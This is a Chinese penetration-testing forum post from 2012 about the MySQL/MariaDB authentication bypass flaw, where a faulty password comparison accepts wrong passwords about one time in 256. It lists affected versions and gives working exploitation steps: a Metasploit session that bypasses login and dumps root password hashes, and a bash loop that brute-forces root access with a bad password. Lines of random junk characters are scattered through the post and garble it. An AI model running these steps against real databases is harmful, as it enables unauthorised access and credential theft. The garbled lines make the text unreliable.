中国网络渗透测试联盟
标题:
mysql任意用户密码概率登陆漏洞
[打印本页]
作者:
admin
时间:
2012-12-20 20:11
标题:
mysql任意用户密码概率登陆漏洞
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。
. M1 `( `; r8 @/ K7 Z
7 w: M- F- o1 k% N+ n+ T3 S
也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
" v9 ^4 ]3 @- @5 T
0 S6 {2 V, W: o$ N' h+ ]5 K
受影响的产品：
! ~5 i$ c8 e) o" Q/ R
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
Y* G1 @, b$ ^
vulnerable.
% ]% q/ b j& B# q# }' ~# Q
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
_7 D- R9 m( c3 x
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
7 v( p5 D5 f; n/ J: E9 \
; D8 {6 w% u# _ P# A/ p7 B
验证方法：
t+ h. a# U- H+ t
) e8 a2 e% S+ c: L: V% D
$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
( T/ {2 O) m, C' Z3 ^
1 ~) S0 \- C+ X- x: S* g+ L
$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>
% d: |) M0 [2 X4 R$ }; h, b
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2